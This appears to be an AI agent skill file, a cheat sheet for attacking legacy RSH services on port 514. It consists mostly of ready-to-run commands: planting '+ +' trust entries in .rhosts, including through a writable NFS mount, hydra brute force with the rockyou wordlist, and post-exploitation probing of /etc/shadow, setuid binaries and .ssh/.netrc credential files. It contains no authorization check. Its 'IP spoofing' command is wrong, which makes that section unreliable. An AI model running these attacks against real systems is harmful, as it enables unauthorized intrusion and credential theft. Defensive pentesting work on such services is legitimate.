| name | pentest-rsh |
| description | How to pentest RSH (Remote Shell) services on port 514. Use this skill whenever the user mentions RSH, remote shell, port 514, .rhosts files, hosts.equiv, or needs to test legacy remote authentication services. This skill covers reconnaissance, authentication testing, brute force attacks, and exploitation of RSH vulnerabilities including IP spoofing and NFS-mounted .rhosts files. |
RSH Pentesting Skill
This skill helps you assess and exploit RSH (Remote Shell) services, a legacy remote authentication protocol that is notoriously insecure.
Understanding RSH Vulnerabilities
RSH relies on trust-based authentication using:
.rhosts files in user home directories
/etc/hosts.equiv system-wide trust file
- IP address and DNS verification (easily spoofed)
Key attack vectors:
- IP spoofing (especially on local networks)
- NFS-mounted home directories with writable
.rhosts
- Weak or missing authentication
- Brute force attacks
Reconnaissance
Check for RSH Service
First, identify if RSH is running on the target:
nmap -p 514 <target-ip>
nmap -sV -p 514 <target-ip>
netstat -tlnp | grep 514
Enumerate Trust Files
If you have access to the target or can mount NFS shares:
find /home -name ".rhosts" 2>/dev/null
cat /etc/hosts.equiv
mount | grep nfs
Authentication Testing
Basic RSH Commands
Test various authentication methods:
rsh <target-ip> <command>
rsh <target-ip> -l <username> <command>
rsh domain/user@<target-ip> <command>
rsh domain\\user@<target-ip> <command>
Test Trust Relationships
If you control a machine or have access to create .rhosts:
echo "+ +" >> ~/.rhosts
echo "trusted-host trusted-user" >> ~/.rhosts
rsh <your-controlled-ip> whoami
Exploitation Techniques
IP Spoofing Attack
Since RSH trusts IP addresses, spoofing can bypass authentication:
rsh -h <target-ip> -l <username> <command>
NFS .rhosts Exploitation
If home directories are on NFS and writable:
mount -t nfs <target-ip>:/home /mnt/nfs-home
echo "+ +" >> /mnt/nfs-home/<username>/.rhosts
rsh <target-ip> -l <username> <command>
Brute Force Authentication
When trust files don't work, try brute forcing:
hydra -l <username> -P <wordlist> <target-ip> rsh
hydra -L <userlist> -P <wordlist> <target-ip> rsh
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/rockyou-common.txt
Post-Exploitation
Verify Access
Once authenticated, verify your access level:
rsh <target-ip> -l <username> "whoami; id; pwd; uname -a"
rsh <target-ip> -l <username> "ls -la /etc/shadow"
rsh <target-ip> -l <username> "cat ~/.rhosts"
Privilege Escalation
rsh <target-ip> -l <username> "find / -perm -4000 -type f 2>/dev/null"
rsh <target-ip> -l <username> "sudo -l"
rsh <target-ip> -l <username> "find /home -name ".ssh" -o -name ".netrc" 2>/dev/null"
Documentation Template
Document your findings using this structure:
## RSH Assessment Results
### Service Information
- **Port**: 514
- **Service**: RSH (Remote Shell)
- **Status**: [Running/Not Running]
### Vulnerabilities Found
- [ ] Trust-based authentication enabled
- [ ] .rhosts files present and writable
- [ ] /etc/hosts.equiv configured
- [ ] NFS-mounted home directories
- [ ] Weak credentials (brute force successful)
### Exploitation Results
- **Authentication Method**: [Trust/Brute Force/None]
- **Access Level**: [User/Root/None]
- **Commands Executed**: [List commands]
### Recommendations
1. Disable RSH service entirely
2. Replace with SSH for secure remote access
3. Remove .rhosts and hosts.equiv files
4. Ensure NFS shares are not writable by untrusted users
Example Scenarios
Example 1: Basic RSH Test
Input: "Check if RSH is running on 192.168.1.100 and try to access it"
Output:
nmap -p 514 192.168.1.100
rsh 192.168.1.100 whoami
rsh 192.168.1.100 -l admin whoami
Example 2: Exploiting .rhosts
Input: "I found a writable .rhosts file on the target, how do I exploit it?"
Output:
echo "+ +" >> /path/to/writable/.rhosts
rsh <target-ip> -l <target-user> <command>
rsh <target-ip> -l <target-user> "id; whoami"
Example 3: Brute Force Attack
Input: "RSH is running but trust files don't work, try brute force"
Output:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 rsh
hydra -L /usr/share/wordlists/common-users.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.100 rsh
Security Notes
⚠️ Important: RSH is deprecated and should never be used in production environments. Always recommend:
- Replacing RSH with SSH
- Disabling the service if not needed
- Removing trust-based authentication files
- Using proper authentication mechanisms
References